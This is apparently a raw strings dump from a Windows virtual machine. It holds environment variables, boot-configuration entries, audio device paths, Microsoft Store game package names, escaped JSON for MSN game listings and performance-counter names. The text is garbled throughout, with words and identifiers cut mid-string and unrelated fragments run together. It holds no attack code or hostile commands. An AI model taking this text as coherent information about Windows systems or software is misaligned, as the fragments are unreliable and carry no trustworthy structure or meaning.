Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 F PimIndexMaintenancePartner stile k:\U rs\job\AppData\Local NotificationController Proxy Stub _LSI NotificationController Proxy Stub 94ad04-93ef-11d0-a3cc-00a0c9223196}\emicintopo/00010001 {2}.\\?\hdaudio#func_01&ven_15ad&dev_1975&subsys_15ad1975&rev_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\emicintopo/00020000 {2}.\\?\hdaudio#func_01&ven_15ad&dev_1975&subsys_15ad1975&rev_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\emicintopo/00010001 4 Family 6 Model 186 Stepping 2, GenuineIntel %\system32\WindowsPowerShell\v1.0\Modules erShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ {"PayloadHandler":"FILE","Metadata":{"Dir":"%ProgramData%\\Microsoft\\Windows\\OneSettings","Name" llServ {"PayloadH@ Dir":"%ProgramDa WithStoreOP .json"} &dev_1975&subsys v_10 Windows Resume Application {1afa9c49-16ab-4a5c-901b-212802da9460} en-US \hiberfil.sys \WINDOWS\system32\winresume.efi em32\winresume.efi EFI Internal Shell (Unsupported option) \EFI\Microsoft\Boot\bootmgfw.efi ft\Boot\bootmgfw.efi {7ea2e1ac-2e61-4728-aaa3-896d9d0a9f0e} en-US {7ea2e1ac-2e61-4728-aaa3-896d9d0a9f0e} {7ff607e0-4395-11db-b0de-0800200c9a66} BCD00000000 EFI VMware Virtual NVME Namespace (NSID 1) EFI VMware Virtual NVME Namespace (NSID 1) EFI VMware Virtual SATA CDROM Drive (1.0) EFI VMware Virtual SATA CDROM Drive (1.0) EFI Network EFI Network EFI Internal Shell (Unsupported option) { |@ t_qrh5dptva6mqg 4603trieudoanit.darkwitcher_8r21nj4k22fd4 csx8 29293rilsoftware.flutterworld_g3zkh965sbr72 anuman.theprincesscasearoyalscoop_sss09yjpacz64 23001jarekizotov.guessmusic_b1fmjggp0sjg8 49058zeemelapps.cactuszombies_bc0tz99paqz1e 2897simoner.babbonatalememory_48hnvc3jz6sy4 6605casualgamestudio.hearts_h89y9fyke7wxp w323w devolverdigital.hotlinemiami_6kzv4j18v0c96 52536deaddropstudios.4160a4605b86_d5hs3j13n3jjm lightningrodgames.48956864a42ec_sah4nw3z958pc poorcat.thelastrollingherodestiny_p1k10b3ccb1qe kristanixstudiosas.48032ca43f767_nafbvgh473e28 58734appalipse.rgbcolorgame_09p97azgwj1je 16815bigaion.32354c284ef1a_hxsnj75neme48 ratalaikagames.cyberheroesarenadx_evtzxnwt5e7ra 3501minigame365.buildingtower_vcm56s8rs9jnt kairosoftco.ltd.grandprixstory_tbd773jn2vdce 61202fullpowersideattack.torquel_y2kkg540gytxw 36415aquamarin-o.thread4maze_yzw8ykcet54d2 5901f20f.offroadmechanicsimulator_t06nbjdc8fw86 41529adamberent.kidscarracers_49mtw88kkrk9j 27090centrifuge.interference_6vjw6wwgfmk3m 61453awokergames.chibicats_krvwv0t8zv1pp pacz64 55820sometimesyou.28328e6808540_h18amqmnf98ae 54674nirozet.luckypunchslot_ghf5de17fn28w 56556nexgamestudios.arcanequesthd_y6k523nxjng9t valkyrieinitiativellp.mondealy_7es88gc4db2w4 50521eastasiasoftlimited.hellwell_gdgmx0a3bvs32 electronicartsmobile.artemisgame_q5ha1ztykcgvj 62293kridanganstudio.carparking_2dcz4yb1javq6 19278humeed.armoredfighterwar_sazk3mmk017sy ratalaikagames.motoroadermc_evtzxnwt5e7ra 54305danielfvalot.samegame8.1_e05qnsv29hbtj 36873wp-developer.symmetria_na4hbg0h9z8w6 8326yudishtira.unicornmathematic_13aqs6p8d7rt6 43146diogosk.sueca-thegame_9jpe7c9aksbvr 8cwht bigbeninteractivesa.handball16_tqjv3vrxr8ppw iceflakestudios.racearcade_63xdtm6zzj2tc sethfountain.candymonstergame_nwavh5t4nth4a builtbysnowman.3975845dc208f_cy99bnzzx9c46 soedescopublishingb.v.sevendoors_m2vjaj0b2v5vm csolutionsinc.digitalhexblitz_1bz7tgdtfxrn0 19363blueskystud ushgaur.thewhisperingshadow_xs7szc7tp9m4g 18484topwindowsapps.pushthebox-puzzlegame_x2zxebrfcc9e0 electronicartsmobile.pvzgardenwarfare2_q5ha1ztykcgvj 36528joltatechnologies.waterrunner_kmkhcnz4kzjnw 62040icampomanes.mathclassroomchallenge_d6n9rt8x4vknw 62183milanworldwidegames.mahjongultimate_483qqg0ab2aqa 10864cstrsk.charadeswordguessinggame_v860xccpn1xnt 26720randomsaladgamesllc.heartsonline_kx24dqmazqk8j inspectorstudios.tankwarshootingsimulator_kc1kd3vvcbnqe 34713karlssoft.spacejumptheplatformer_qp5nptsq6hyjj 33765rainbowshooting.chessmagicpower_sm3zmzdttr2e0 bbgentertainmentgmbh.boulderdashdeluxe_31mk5j52717f0 29988juliept.colorpixelartclassics_ggr6w91zcgydt activegamingmediainc.61858688ae412_4tj796bhrrsp0 wiredproductions.goricuddlycarnagedemo_hxzk6evwjr6sy 49005royalpuzzlesagagames.stickherogo_pq401xqg7b586 electronicartsmobile.38887e35bd665_q5ha1ztykcgvj 5hnj 21488gruhlum.hexeptionalpicturepuzzle_he1hhyng7sh1r hamstercorporation.acaneogeosavagereign_7xd3265gdqs6r 16424pixelbarrels.shapeworldorigins_zmphxgqh6csrc atkt customautomatedsystemspte.konjektkonekto_zwve9xfc5atkt playtouch.petitschevauxsmallhorses_cx3tfsvhyqb8g 16884seesharp.rockpaperscissorsclassic_8nhyn9j392kt0 59570andreatesta.ageofdynastiesshogun_ag74dcqt7bby8 40069cowcona.4gemsinarowpharaohtable_e864q4dw9akqm anuman.thetimemachine-trappedintime_sss09yjpacz64 57508gameestudio.blastfever-toystory_9mj8dr8fr2hsr 2yjg 64026battenbergsoftware.thefoodrun_21q39hyeq9t4r magninassociates.radiocontrolchallenge_7wckjk5dyk6s2 3089hannopondaag.memorygamevegetables_ghvc71gthrx4c 17713chrisradford.theforgottennightmare_a5hk1hqfph9q6 kedronicuab.colorbynumbers-flowers-free_28g8m54hq00at uglybeardgamesllc.crawlersandbrawlers_d99xt7kbwwbgc codethislabs.r.l.battleshipwarmultiplayer_b5gk6nsyztaq6 artifexmundi.queensquest3theendofdawn_xmkq9zz36w32m 44621raphaelryazhapov.khanoytowersgame_z1rhmc8v0dxn4 chilidoginteractive.karma.incarnation1_1 \",\"publisherId\":\"CN=74ABBD7D-0673-4634-97E9-9379CC797397\",\"publisherName\":\"Clever Apps\",\"publishDate\":\"2024-01-01T00:00:00\",\"thumbnailId\":\"OCGE.9pc19rxfzl82_v32_main\",\"heroThumbnailId\":\"OCGE.9pc19rxfzl82_v32_hero\",\"thumbnail16x9\":\"OCGE.9pc19rxfzl82_v32_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/mergest-kingdom/cg-9pc19rxfzl82\",\"genres\":[\"Merge\",\"Adventure\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9plgt00f15xs\",\"recoItemId\":\"AA1IdhBE\",\"name\":\"Rooftop Run\",\"defaultName\":\"Rooftop Run\",\"market\":\"de-ch\",\"created\":\"2025-11-27T00:39:55.1944573Z\",\"lastModified\":\"2025-11-27T00:39:55.1944573Z\",\"publisherId\":\"CN=F4FCBD53-0AB6-4935-A416-803BED5D4EF8\",\"publisherName\":\"Playgama\",\"publishDate\":\"2025-07-08T18:43:10.5184087Z\",\"thumbnailId\":\"OCGE.9plgt00f15xs_abtesting_835b67e1-8ab1-490d-a6ab-e8840fad9bde\",\"heroThumbnailId\":\"OCGE.9plgt00f15xs_v6_hero\",\"thumbnail16x9\":\"OCGE.9plgt00f15xs_v6_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/rooftop-run/cg-9plgt00f15xs\",\"genres\":[\"Arcade\",\"Platformer\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9n08dpggwvqh\",\"recoItemId\":\"AA1ERKid\",\"name\":\"MR RACER - Car Racing\",\"defaultName\":\"MR RACER - Car Racing\",\"market\":\"de-ch\",\"created\":\"2025-12-05T20:19:23.1476744Z\",\"lastModified\":\"2025-12-05T20:19:23.1476744Z\",\"publisherId\":\"CN=F4FCBD53-0AB6-4935-A416-803BED5D4EF8\",\"publisherName\":\"Playgama\",\"publishDate\":\"2025-05-16T00:01:14.4858981Z\",\"thumbnailId\":\"OCGE.9n08dpggwvqh_v13_main\",\"heroThumbnailId\":\"OCGE.9n08dpggwvqh_v13_hero\",\"thumbnail16x9\":\"OCGE.9n08dpggwvqh_v13_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/mr-racer--car-racing/cg-9n08dpggwvqh\",\"genres\":[\"Arcade\",\"Racing\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9n7qs1kn0v8l\",\"recoItemId\":\"AA1MotZn\",\"name\":\"Hazmob FPS: Onlin lium\Cache\81d060ca2aba6fa4.da ystem32\v lib.dl %hs(%u) !%p: Msg: nelbas Array_% Apps SOFTWARE\Microsoft \SM0 #3276 DWMAttrib C:\WINDOWS\System32\audiokse.dll C:\WINDOWS\System32\audioeng.dll C:\WINDOWS\System32\audiokse.dll ee7} C:\WINDOWS\System32\audioeng.dll 009-e279-4e33-ac56-5a774b103ee7} 009-e279-4e33-ac56-5a774b103ee7} C:\WINDOWS\System32\audiokse.dll C:\WINDOWS\System32\audiokse.dll C:\Windows\System32\winty Adaptive WS\S -5a7 CLSID\{D9AAAF82-03B1-4F9F-9FD5-07D2A42C8531} ":\W DOWS\system32\RTWorkQ.DLL +:\W DOWS\system32\AVRT.dll average L3 Merge Speed - average L2 Merge Speed - average L0 Merge (Flush) Speed - Last L4 Merge Speed - average L3 Merge Speed - average L6 Merge Speed - average L7 Merge Speed - average L2 Merge Speed - average L5 Merge Speed - average L8 Merge Speed - average s/Sec) % Time Sig. Authenticating Context-Bound Classes Loaded % Time Sig. Authenticating Context-Bound Classes Loaded Defragmentation Tasks Postponed Database Cache Size (MB) Defragmentation Tasks Pending Database Page Evictions/sec Database Cache % Hit (Unique) Defragmentation Tasks Pending Database Maintenance Duration FCB Sync Purge Stalls/sec FCB Purge On Cursor Close/sec No name I/O Writes Average L ache Misses/sec Databa/ Cache Memory Reserved ydra Received Neighbor Advert Packets Sent Unicast/sec Search Gatherer Projects TCP RSC Coalesced Packets/sec Received Parameter Problem Document Move and Rename Rate Packets Sent Non-Unicast/sec History Recovery Progress Threads blocked due to back off Document Move and Rename Rate Ext. Notifications Received Ext. Notifications Received Threads Accessing Network All Notifications Received History Recovery Progress Servers Currently Unavailable Threads Accessing Network Membership Report Processed Documents Rate ices Session TCP Active RSC Connections Packets Received Discarded Processed Documents Rate Recovery In Progress Flag etries Packets Outbound Discarded Packets Received Unknown Received Membership Reduction Received Membership Query Received Neighbor Solicit Sent Membership Reduction Packets Received Unicast/sec Sent Destination Unreachable Terminal Services Session Recovery In Progress Flag TCP RSC Average Packet Size ++S+ ++S+ 3++S++